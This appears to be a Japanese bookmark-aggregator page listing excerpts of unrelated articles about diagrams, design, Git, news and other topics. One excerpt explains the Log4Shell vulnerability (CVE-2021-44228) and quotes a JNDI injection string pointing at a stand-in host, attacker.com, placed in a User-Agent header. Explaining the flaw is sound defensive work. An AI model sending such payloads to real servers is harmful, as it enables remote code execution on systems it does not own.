「図解」は資料作成やプレゼンスライドの制作に欠かせません。その一方で「図解を作成してみたいけれど、経験がない」「これから図解をどんどん取り入れていきたい」という方のために、図解作成のノウハウを基本中の基本からまとめてみました。 今回の記事はアドビ社のPR企画「みんなの資料作成」に参加して執筆しています。 1 | 図解の定義まずは「図解」の定義について考えてみましょう。 たとえば、書籍『たのしいインフォグラフィック入門』の中で著者の櫻田 潤さんは次のように定義されています。 図解とは、単純な図形と短い言葉で、物事を説明するグラフィック 非常に明快ですが、人によって定義が異なりますし、また時代によって移り変わっています。 類語から「図解」の定義を探る言葉の定義を考える際に有効なのが〈類語〉を集めてみること。 そこで、日本語/英語に分けて、2つのマンダラート(9マスのメモ)をつくり、「図解」の類
つだしん @tsudashin jpegは不可逆圧縮でpngは可逆圧縮 保存を繰り返す毎に劣化するのがjpeg 解像度低く保存したものは元に戻りません という意味です ちなみにPNGは透過に対応、jpegは非対応 「PNGは色が少ない」と言ってる人いるが、jpegとPNG-24とも1670万色で同じで、ただPNGのデータ量はバカデカい 2023-08-19 10:02:54 つだしん @tsudashin 補足 jpegが一概に悪いわけでなくpng-24は機能的ゆえに重いので『PNGの恩恵がいらないなら基本はJPG』くらいで捉えるのがいい PNGの恩恵を受けつつ軽くしたい時は『PNG-8』も良い。PNG-8はたったの256色なので超軽い。(PNG-24は1678万色) ただし繊細なグラフィックには不向き(256色はGIFと同じ) 2023-08-19 13:01:51
あの先輩が作っていた資料、めちゃくちゃカッコよかったな……。 SNSで話題になっていたあのスライド、すごく見やすかったな……。 そんな憧れの資料は、Microsoft PowerPoint(以下、パワポ)を使って作られていることが多いです。 ビジネスパーソンにとって身近な、資料作成・プレゼンテーションツールのパワポ。しかし、自由自在に使いこなし、見た人を引き込むような資料を作るのは簡単ではありません。 憧れの資料をマネしたはずが、情報を詰め込み過ぎて見づらくなったり、図やイラストを活用して見やすくしているつもりがかえってごちゃごちゃしたり。パソコンを前に、頭を悩ませた経験をお持ちの方は多いはずです。 一体、パワポ資料ってどうやったら見やすくなるのだろう。 そんなモヤモヤをぶつけたのは、パワポ作成の達人、通称“パワポ芸人”として活動されているシリョサク株式会社代表のトヨマネ(豊間根青地)さん
エンジニア未経験のわたしがGitを学ぶ上で、この流れで記事を読むべきだったと思ったことを記載する。 完全に初学者意見のため、疑いながら読んでください。 私は下記の流れで学習することによって、理解をしやすいように感じた。 ① Gitで何をしているかのイメージを掴む(コマンドなし) ② Gitのイメージを、コマンドで実現している記事をみる ③ 実際にGitのコマンドを打ちながら、出力と、頭の中のイメージのすり合わせ Gitで何をしているかのイメージを掴む(コマンドなし) こちらの記事は、Gitのイメージをコマンドなしで、わかりやすく図で示してくださっています。 記事にも記載されていますが、 ・重要なのは 「何」から「何」へ・「どんな作業」を行う のかを追う ・操作前と操作後でどんなことが起こっているのかをイメージする 上記の内容が、すごく同意で、重要だと感じている。いきなりコマンドを打ちながら
”銭湯図解”で銭湯建築や人の営み描く。映画『湯道』看板娘モチーフになった塩谷歩波さん、「小杉湯」番頭経てホテルやサウナ等も図解する画家・文筆家に 塩谷歩波さんは、銭湯の建物内部を俯瞰図で描く「銭湯図解」シリーズがSNSで人気を博し、刊行した著書が話題沸騰! 銭湯図解とは、銭湯を観察しメジャーなどでさまざまな部分を測量、スケッチに落とし込んでいくもの。塩谷さんの半生はドラマ化(2022年『湯あがりスケッチ』)され、2023年2月23日に自身がモチーフになったキャラが登場する映画『湯道』(企画・脚本:小山薫堂、主演:生田斗真)が公開されます。学生時代、建築を専攻し、設計事務所、高円寺(東京都杉並区)の銭湯「小杉湯」の番頭兼イラストレーターを経て、画家・文筆家へ。建築を描くことで見えてきたものとは。図解イラストを解説しながらたっぷり話していただきました。 銭湯での人のふるまい、美しいと思った瞬間
twitterやprivatterに投稿していたものをまとめました 思いついた時に加筆・増補・編集してます 「創作で銃を出したい(出す必要がある)が具体的にどのような銃を出せばいいのか、どう描けばいいか分からない」という層向けに、ひとつの切っ掛けや取っ掛かりになれば、という意図で書いたものです。 性質上、内容が重複したりして少し冗長になっている部分があります。 (また、全ての銃器を網羅することを目的としたものではありません) 創作で銃を出す場合、基本的には一般名詞の「拳銃」とか「ライフル」で充分だと思っていますが、通常はどういうデザインや性能が想定されるのか分かっていたほうが描きやすい場合もあると思うので、適宜調べて下さい ページが重いので、動画埋め込みを削除しリンクにした軽量版を作りました TL;DR向け早見表 通常は、「リボルバー」「拳銃」「ライフル」「マシンガン」「散弾銃」といった一
男性のパルスオキシメーターの数値は呼吸不全の可能性がある91%を示していた=東京都品川区で2022年7月28日(田代院長提供) 新型コロナウイルス感染「第7波」の影響で、救急車の到着後も搬送先がすぐに決まらない「救急搬送困難事案」が相次いでいる。基礎疾患があるコロナ患者の受け入れはさらに厳しく、搬送先がなく自宅で死亡するケースも出ている。訪問診療を担う医師は「医療機関にかかりたい人がかかれなくなっている。医療崩壊だ」と訴える。【秋丸生帆、鷲頭彰子、岡礼子】 【図解】自宅療養に備えたい物資のリスト 「どの病院も収容能力を超えている。みんな歯がゆい思いをしながら受け入れを断っていると思う」 済生会加須病院(埼玉県加須市)の長原光院長は苦しい現状を語る。すぐに入院できる「即応病床」が35床あり、7月中旬から救急の受け入れ要請が増加した。感染者は医療従事者にも広がり業務が逼迫(ひっぱく)。救急を断
わかりにくいシステム構成図とは こんなシステム構成図を書いてないでしょうか? このシステム構成図のわかりにくい点が3つあります。それは 製品名は書いてあるが「役割」が書いていない データと処理が区別できない データの流れと制御の流れが区別できない の3つです。 わかりやすいシステム構成図 これら3つのわかりにくい点を改善したわかりやすいシステム構成図が↓です ポイントを解説していきます ポイント1. 製品名称ではなく「役割」を書く システム構成図には製品名称ではなくシステムコンポーネントの「役割」を書きます。 役割とは、例えば〇〇データや〇〇処理といったことであり、それを読むだけでシステムの動きを理解できる文字列です。役割をかかずに製品名称のみを書いてしまうと、その製品を知らない人が見たときに理解できません。例えば「Cloud Pub/Sub」という製品はGCPというパブリッククラウドの分
こんにちは、デザイナーの花ちゃんです! かれこれ3年ほどLIGブログで記事を書いていますが、最近意識していることがあります。それは、文字だけではなく、できるだけ視覚的に情報を伝えるということです。最初は文章を書くことに必死でしたが、よりわかりやすく、最後まで楽しく読んでもらうにはどうしたらいいかを考えるようになり、たどり着いたのが「図解」でした……!! 今回は、図解を作るときのポイントやグラフ作成時にやりがちな失敗例、ストックしておくと便利なチャート図のデザインパターンをまとめてみました。 【図解を作るときにおすすめの素材】 👉フリーイラスト素材サイト39選【デザイナー厳選】 👉無料で商用利用可なフリーアイコン素材サイト13選【デザイナー厳選】 【一からWebデザインを学びたい方へ】 現場で活かせるWebデザインの基礎をしっかり学びたい、現役デザイナーに教えてもらいたい……という方は、
解釈は人それぞれなのかもしれませんが、この業界には何でもかんでも“UX”を付けたがる癖があります。私はこの流行りには乗らずに物事を分けて考えてみたいです。 言葉の定義と解釈などユーザーインターフェイス(UI)の設計を表す言葉に関して、それをわざわざ「UX〜」と言い換える事例が国内外問わず多くあり、本来この“UX”と呼ばれるはずのものがどこか蔑ろにされているようにも感じられます。言い換えの例としては次のような具合です。 ・UIデザイン → UXデザイン ・UIデザインツール → UXデザインツール または UXツール ・UIデザイナー → UXデザイナー または UI/UXデザイナー “UX”という言葉がバズワードになり、Xの文字がどこかかっこいいからと既存の“UI”の語句をただ言い換えているだけのように感じられることもあります。実際のところ、「UX〜」と表記されている言葉の幾らかについては
JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を
南アフリカ・ヨハネスブルクのO・R・タンボ国際空港で、新型コロナウイルスのPCR検査を受ける旅行者(2021年11月27日撮影、資料写真)。(c)Phill Magakoe / AFP 【12月4日 AFP】南アフリカの医療関係者は3日、新型コロナウイルスの変異株「オミクロン株」の感染拡大後、子どもの入院例が急増したことを明らかにした。ただ、子どもが同株に感染しやすいかどうかはまだ分からないと強調している。 先週、オミクロン株について世界に警鐘を鳴らした南アフリカではその後、過去に起きたコロナ流行の第1~3波を上回るペースで感染が拡大。最初のクラスター(感染者集団)は主に大学生だった。感染はその後、若者の間で急速に広がり、年齢が上のグループにも広まったとみられる。 だが科学者や医療関係者によると、5歳未満の入院例が増加しており、10~14歳の子どもの陽性率も上がっている。国立伝染研究所(N
しおりん@ゆるりおうち英語7年目 @shiorinenglish 小1息子が14✖️14とかの二桁のかけ算の答えを暗算でサクサク答えているので 気になってどうやって考えているか聞いたら ママなんで分からないの?😤 とブツブツ言いながら図解してくれました。 pic.twitter.com/W6g7alPKoM 2021-11-09 09:15:21 しおりん@ゆるりおうち英語7年目 @shiorinenglish たくさんのリツイートといいねありがとうございます☺️ 誰かに教えてもらったか疑問に思う方もいるようなので補足します。 算数の習い事には1度も通ったことはないので YouTubeの『Numberblocks』や 磁石でくっついて組立てるおもちゃ 『マグフォーマー』などからヒントを得たのだと思います💡 2021-11-10 11:23:06 しおりん@おうち英語9年目 @shior
Twitterなどで昨今増えつつある「ビジネス本の図解アカウント」が一部で物議を醸しています。中には「ファスト映画みたい」「法的にどうなの」といった批判や疑問の声も。“他者の本の内容の図解化”はどのような問題があるのか、弁護士に見解を聞きました。 ビジネス本を「図解」してフォロワーを稼ぐ『図解クリエイター』が一部で流行っているらしい(Togetter) 問題になっているのは、主に有名なビジネス本などを対象に、書籍の内容を3~4枚の図にまとめて投稿しているアカウント群。ひろゆきさんの『1%の努力』や、近藤麻理恵さんの『人生がときめく片づけの魔法』など、Twitterで「図解+書名」などのキーワードで検索すると、多くの書籍が“図解化”されているのが見つかります。自分なりの知識やノウハウ、日常の“あるある”などを図解にして投稿しているツイートは以前からありましたが、最近になってこうした「書籍の図
便利そうなコマンドがあることは知っているけれどなんとなくGit操作が怖い、という方向けにGit情報をまとめました。 怖さを低減する1番の近道は、たくさんコマンドを使ってみることだと思います。 ぜひ、一緒にコマンド使いましょう! ◯おすすめサイト情報 Git公式サイト:Book Gitってなにそれおいしいの...?という方向け:サル先生のGit入門 Gitの仕組みについて参考になったサイト:Learn git concepts, not commands - DEV Community Gitについて Gitとは、分散型バージョン管理システムのことです。 バージョン管理システムとは変更履歴などを記録・管理するためのシステムで、形態としては集中型と分散型に分けられます。 分散型では「リポジトリ」と呼ばれる「ファイルやデータの貯蔵庫」を個人の作業環境に丸ごと複製して作業を行うため、個人の開発環境
","naka5":"<!-- BFF501 PC記事下(中⑤企画)パーツ=1541 -->","naka6":"<!-- BFF486 PC記事下(中⑥デジ編)パーツ=8826 --><!-- /news/esi/ichikiji/c6/default.htm -->","naka6Sp":"<!-- BFF3053 SP記事下(中⑥デジ編)パーツ=8826 -->","adcreative72":"<!-- BFF920 広告枠)ADCREATIVE-72 こんな特集も -->\n<!-- Ad BGN -->\n<!-- dfptag PC誘導枠5行 ★ここから -->\n<div class=\"p_infeed_list_wrapper\" id=\"p_infeed_list1\">\n <div class=\"p_infeed_list\">\n <div class=\"
これまで未経験エンジニアに関する包囲網についてお話をしてきました。このお話は非常によく読んで頂いておりまして、本noteでも2番目のPVになっております。 未経験エンジニア、世間的には駆け出しエンジニアなどとも呼ばれていますが、こちらの状況が徐々に変わってきました。それが今回お話をする未経験フリーランスです。未経験フリーランスとはオンラインサロン・オンラインプログラミングスクールを出た後に直ちにフリーランスになるという状況です。今回はそのようなお話です。 有料設定していますが、最後まで無料でお読みいただけます。もしよければ投げ銭感覚で応援をお願い致します。 ご覧頂きましてありがとうございます。 11月の公開以後、継続的にお読み頂いているものになります。 今は未経験エンジニアより未経験フリーランスの方へと情報商材市場が移ってきた感がありますね。こちらも書かねば。 https://t.co/M
物事の本質を深く理解するためには次の3つが大切だと考えています。 1. 部分ではなく全体を知る 2. 全体の構成要素の相互的つながりを知る 3. 主要な構成要素を見極める つまり、 全体を知り、繋がりを知り、削ぎ落とす。 この"思考のクセ"が物凄く重要です。 その"クセづけ"のために、私は何か深く理解したい事象や対象物があったら、まず紙に絵を描いてみる。同じ要素を囲んだり、関連し合う要素を線で繋いだり。これ自体が上記3つのプロセスを経るための身体と脳のキャッチボールなんですね。 故に、私はよくアナログ / デジタル問わずに「図解」しています。 そんな図解脳を鍛えるために、人様に見てもらって有意義なアウトプットになるように #HRを図解します という形でTwitter上で発信し始めました。お陰様で多くのリアクションを頂くようになり、さらにそれらをまとめ上げることにも価値があるので、この辺りで
東京電力福島第一原子力発電所の事故の発生から10年以上がたった今も増え続けるトリチウムなど放射性物質を含む処理水。その処分方法について政府は、国の基準を下回る濃度に薄めたうえで海へ放出する方針を決めました。 政府は7年余りにわたる検討を経て方針を決定しましたが、地元を中心に海洋への放出には根強い反対があり、専門家は地元など関係者の理解や納得に課題を残したと指摘しています。これまでのプロセスや海洋放出の具体的な方法、風評被害対策の方針などをまとめました。 去年、政府が開いた意見を聞く会では地元住民や漁業関係者など29団体43人のうち6つの団体と個人が海への放出に明確に反対する意見を表明したほか、福島県内の市町村議会では海洋放出への反対や慎重な対応を求める意見書が相次いで可決されました。 また、今月7日に菅総理大臣と面会した全国漁業協同組合連合会の岸宏会長は「海洋への放出は絶対に反対という考え
株式会社TAM アートディレクター 「えがこう!」代表 東京学芸大学美術科卒業後、日本デザインセンターイラストカンプ部に就職。その後コーセー化粧品宣伝部、ワーナーミュージック・ジャパン編成デザイン部でグラフィックデザインに従事する。1995年より株式会社TAMにてアートディレクターとして勤務。並行して、大阪コミュニケーションアート専門学校非常勤講師としてエディトリアルデザインの講義を行った。 絵を描くのが苦手な若手スタッフに「描いて伝える」トレーニングを始め、2015年ごろより社外でもセミナーを開催。「地獄のお絵描き道場」をはじめ、セミナーの総受講者は4000人を超える。グラフィックデザインを通じてのビジュアル構築やグラフィックファシリテーションを得意分野とし、2018年より早稲田大学リカレント教育・WASEDA NEO講師を務める。 家電メーカーや外資系ヘルスケア企業・大手銀行シンクタン
新年度目前、慌ただしい日々を送っている方も多いことと思います。慣れない仕事、いつもと違う用事も多いですよね。うっかり忘れそうな用件を確実にこなすには、「リマインダー」を活用するのがおすすめです。 <1>リマインダーとは? リマインダーとは、「やることをメモしておくチェックリスト機能」と「必要なタイミングで通知してくれる機能」を搭載したアプリです。 用件をチェックリストにできる「リマインダー」。終わった用件はチェックすると後で非表示になります。また、アプリを開かなくても指定したタイミングで通知を届けてくれるので、大事な用件を忘れません <2>チェックリストを作成する方法 まずは、「リマインダー」に用件を入力してみましょう。 「リマインダー」アプリを開き、「マイリスト」から「リマインダー」をタップ→「新規」をタップ 用件を入力します。続けて別の要件を入力するにはキーボードの「改行」をタップ。終
衣食住はどんな文化でも生活の重要な要素の一つだ。その中の一つであるファッションはもちろん生活必需品である。 しかし、ファッションは生活必需品であるだけでなく、デザイン、アート、エンターテインメント、流行とも深く関連性があり、人々の自己表現になっている。 よって、ファッションが世界の多くの国でEC業界の売上ランキングの上位を占めるカテゴリーになっていることは不思議ではない。 今回は世界レベルでも毎年成長を続けている「世界各国のファッションECの市場規模」に関する興味深いデータを見ていこう。 世界のファッションEC市場規模ランキング 2020年~2024年上のインフォグラフィックは2020年と2024年(予測)の世界各国のファッションEC市場規模を表したものである。 ● 緑 2020年時点での世界各国のファッションEC市場規模 ● 赤 2024年時点での世界各国のファッションEC市場規模(予想
こんにちは、初めまして、フロントエンドエンジニアの八木です。 普段、モノタロウのECサイト開発を行っています。 エンジニアだとシステム構成図やシーケンス図など、何かと図を作る機会が仕事柄たくさんあります。その多くは要件定義や詳細設計などのフェーズで、人に何かを伝えるために使われます。 最近では、テック系のイベントやセッション登壇などでも使われる機会が多く見られるようになってきましたね。 エンジニアが図を用いる理由 図を用いる理由は文字だけでは直感的に伝わりづらいなど様々ですが、共通して言えることはビジュアライズすることによって皆が同じ認識を持つことにあります。 しかし、人によって描き方が異なっていたり、描き方に正解はないことから個人の解釈にずれが発生することが多々あります。 例えば以下の例を考えてみます。 伝えたいことは次の通り。 WebサーバーはNginxを使用 Appサーバー上ではDo
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く